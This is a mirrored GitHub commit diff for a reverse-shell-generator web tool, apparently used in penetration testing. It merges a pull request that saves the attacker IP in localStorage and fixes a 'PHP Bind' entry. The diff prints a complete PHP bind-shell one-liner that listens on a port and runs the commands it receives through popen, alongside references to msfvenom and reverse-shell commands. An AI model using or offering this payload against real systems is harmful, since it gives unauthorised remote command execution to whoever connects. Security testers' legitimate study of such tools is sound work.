mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2024-12-19 19:36:10 +00:00
Merge pull request #18 from MuirlandOracle/main
LocalStorage load and PHP Bind fix
This commit is contained in:
commit
28d90d3c14
@ -478,6 +478,10 @@
|
||||
const bindShellCommand = document.querySelector("#bind-shell-command");
|
||||
const msfVenomCommand = document.querySelector("#msfvenom-command");
|
||||
|
||||
if(localStorage.getItem("ip") == null || localStorage.getItem("ip").length == 0){
|
||||
localStorage.setItem("ip", ipInput.placeholder);
|
||||
}
|
||||
|
||||
const FilterType = {
|
||||
'All': 'all',
|
||||
'Windows': 'windows',
|
||||
@ -574,7 +578,7 @@
|
||||
|
||||
escapeHTML: (text) => String(text).replace(/</, '<').replace(/>/, '>'),
|
||||
|
||||
getIP: () => ipInput.value || ipInput.getAttribute('placeholder'),
|
||||
getIP: () => localStorage.getItem("ip"),
|
||||
|
||||
getPort: () => Number(portInput.value || portInput.getAttribute('placeholder')),
|
||||
|
||||
@ -591,10 +595,9 @@
|
||||
const parameters = ['{ip}', '{port}', '{shell}', encodeURI('{ip}'), encodeURI('{port}'),
|
||||
encodeURI('{shell}')
|
||||
];
|
||||
|
||||
parameters.forEach((param) => {
|
||||
if (encoder) param = encoder(param)
|
||||
text = text.replace(param, `<span class="highlighted-parameter">${param}</span>`)
|
||||
text = text.replace(param, `<span class="highlighted-parameter">${param}</span>`)
|
||||
})
|
||||
return text
|
||||
},
|
||||
|
@ -241,7 +241,7 @@ const bindShellCommands = withCommandType(
|
||||
},
|
||||
{
|
||||
"name": "PHP Bind",
|
||||
"command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);\\socket_write($cl,$m,strlen($m));}}'",
|
||||
"command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'",
|
||||
"meta": ["bind", "mac", "linux", "windows"]
|
||||
}
|
||||
]
|
||||
@ -345,10 +345,3 @@ const rsgData = {
|
||||
...msfvenomCommands
|
||||
]
|
||||
}
|
||||
|
||||
function onLoad() {
|
||||
const spans = document.getElementsByTagName('span');
|
||||
spans[5].innerHTML = document.getElementById("ip").value;
|
||||
}
|
||||
|
||||
setTimeout(onLoad)
|
||||
|
Loading…
Reference in New Issue
Block a user